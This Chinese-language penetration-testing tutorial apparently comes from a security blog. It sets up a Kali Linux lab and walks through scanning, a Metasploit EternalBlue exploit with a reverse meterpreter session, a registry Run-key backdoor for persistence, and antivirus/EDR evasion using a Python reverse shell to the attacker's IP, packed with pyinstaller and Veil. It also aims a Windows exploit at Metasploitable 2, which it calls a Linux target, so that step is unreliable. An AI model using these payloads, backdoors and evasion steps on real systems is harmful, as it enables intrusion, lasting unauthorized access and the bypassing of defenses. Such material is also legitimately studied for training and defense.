一、Kali Linux：你的渗透测试武器库

Kali Linux 是一款为渗透测试和黑客技术研究量身定制的操作系统，它预装了丰富的攻击工具，覆盖信息收集、漏洞扫描、漏洞利用、密码破解、流量分析、无线网络攻击等多种应用场景。作为一款基于 Debian 的发行版，Kali 的模块化、可定制性和强大的社区支持使其成为了安全行业的标杆工具。

在这部分，我会从 Kali 的功能架构出发，帮你快速掌握它的核心理念和使用技巧。无论你是想要参与 Capture The Flag（CTF）比赛，还是在企业环境下进行红队渗透测试，Kali 都可以成为你的得力助手。

核心工具模块

Kali 的强大离不开它内置的多个工具模块。这些工具模块可以细分为以下几类：

  1. 信息收集工具
  • Nmap：扫描网络中的活动主机、开放端口。
  • Recon-ng：自动化的信息收集框架，支持 API 集成。
  • theHarvester：从搜索引擎和社交媒体中提取公开的信息。
  1. 漏洞扫描与利用
  • Metasploit Framework：世界上最流行的漏洞利用框架。
  • Nikto：Web 服务器漏洞扫描工具。
  • Searchsploit：离线搜索 Exploit 数据库的神器。
  1. 密码破解工具
  • John the Ripper：本地密码破解工具。
  • Hydra：网络服务密码爆破工具。
  • Hashcat：GPU 加速的密码破解工具。
  1. 流量分析与中间人攻击
  • Wireshark：强大的流量捕获与分析工具。
  • Ettercap：中间人攻击和流量劫持工具。
  • Bettercap：现代化的中间人攻击框架。

接下来，我会带你从搭建实战环境开始，逐步深入 Kali Linux 的使用以及实际的攻击演练。

---

二、构建你的攻击实验室

在进行任何攻击性测试之前，你都需要一个安全的实验环境。这里我们将搭建一个虚拟化的攻击实验室，包含 Kali Linux 攻击机，以及一个作为靶机的目标系统。

黑客示意图

环境需求

  1. 虚拟机管理器
  • 推荐使用 VirtualBox 或 VMware Workstation。
  1. 攻击机：Kali Linux
  • 官方下载地址：https://www.kali.org/get-kali/
  • 建议选择最新的版本，并在安装时添加 "Tools Only" 模式，避免不必要的系统膨胀。
  1. 靶机：Metasploitable 2
  • 下载地址：https://sourceforge.net/projects/metasploitable/
  • 这是一个有意设计带有漏洞的 Linux 系统，非常适合入门测试。

网络配置

为了确保攻击实验室与外部隔离，我们需要将所有虚拟机设置在Host-Only 网络模式下。

配置步骤：

  1. 打开 VirtualBox，选择 Kali 虚拟机，进入网络设置。
  2. 将网络适配器修改为 "Host-Only Adapter"。
  3. 同样为 Metasploitable 2 配置 Host-Only 网络。
  4. 启动两台系统，并通过 ifconfig 或 ip addr 检查 IP 地址，确保它们在同一网段。

---

三、信息收集：目标网络的侦查与分析

在正式攻击前，信息收集是必不可少的一步。我们的目标是获取靶机的 IP 地址、开放端口、运行的服务，以及可能存在的漏洞。

使用 Nmap 探测靶机

基础扫描

黑客示意图

<pre><code class="language-bash">nmap -sS -p- -T4 &lt;靶机 IP&gt;</code></pre>

  • -sS：使用 SYN 扫描，速度快且隐蔽性强；
  • -p-：扫描所有端口（默认只扫描前 1000 个端口）；
  • -T4：调整扫描速度，避免被防火墙误判为 DoS 攻击。

扫描结果分析

假设我们扫描得到了以下结果：

<pre><code class="language-plaintext">PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds</code></pre>

分析得出：

  • 靶机运行了 FTP 服务（端口 21），很可能存在匿名访问漏洞；
  • 端口 445 是 SMB 服务，可能存在漏洞（如 EternalBlue 漏洞）。

---

四、攻破靶机：构建有效 Payload

在这个部分，我们将实际利用 Nmap 收集到的信息，设计一个针对 SMB 服务的攻击载荷。

使用 Metasploit 攻击 SMB

启动 Metasploit 后，加载 EternalBlue 漏洞模块：

<pre><code class="language-bash">msfconsole</code></pre>

<pre><code class="language-bash">use exploit/windows/smb/ms17_010_eternalblue</code></pre>

配置参数

<pre><code class="language-bash">set RHOSTS &lt;靶机 IP&gt; set LHOST &lt;Kali IP&gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp</code></pre>

  • RHOSTS：设置靶机 IP；
  • LHOST：设置你的攻击机 IP（用于接收反弹会话）；
  • PAYLOAD：选择合适的漏洞利用载荷，这里选用反向 TCP 会话。

启动攻击

<pre><code class="language-bash">exploit</code></pre>

成功后，Meterpreter 会话将自动建立。接下来，你可以用 Meterpreter 命令行控制目标主机。

---

五、保持访问：持久化技术

在获得目标系统控制权后，我们需要确保即使目标系统重启，我们的访问权限也不会丢失。

黑客示意图

使用 Meterpreter 创建后门

在 Meterpreter 会话中，上传一个自定义的后门程序：

<pre><code class="language-shell">upload /path/to/backdoor.exe C:\\Windows\\System32\\backdoor.exe</code></pre>

然后利用注册表添加开机启动项：

<pre><code class="language-shell">reg setval -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v Backdoor -d &quot;C:\\Windows\\System32\\backdoor.exe&quot;</code></pre>

---

六、规避检测：免杀技巧

在实战中，直接使用公开的攻击载荷很容易被杀毒软件和 EDR 检测并拦截。这里我们介绍几种常见的免杀手段。

改写 Payload

使用 Python 实现一个简单的反向 Shell，并动态编译为 EXE 文件：

Python Example

<pre><code class="language-python">import socket, subprocess, os

HOST = &quot;你的Kali IP&quot; PORT = 4444

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT))

os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2)

subprocess.call([&quot;cmd.exe&quot;])</code></pre>

使用 pyinstaller 将其打包为可执行文件：

<pre><code class="language-bash">pyinstaller --onefile --noconsole payload.py</code></pre>

接着使用加壳工具（如 Hyperion 或 Veil-Evasion）对生成的 EXE 进行二次混淆，进一步规避检测。

---

七、实战心得与细节补充

黑客示意图

通过这篇文章的演练，你应该对 Kali Linux 在渗透测试中的应用有了直观的认识。在实际操作中，请始终注意以下几点：

  1. 合法授权：未经许可的渗透测试是非法行为，切勿在未经授权的环境中操作。
  2. 文档记录：记录每一步操作和结果，形成完整的测试报告。
  3. 工具定制：学会根据场景需求对工具进行定制化开发，例如编写自己专属的脚本。

Kali Linux 是一把利剑，如何使用它决定了你的角色是守护者还是破坏者。这篇文章展示了完整的攻击链，但请始终将其用于合法的安全研究。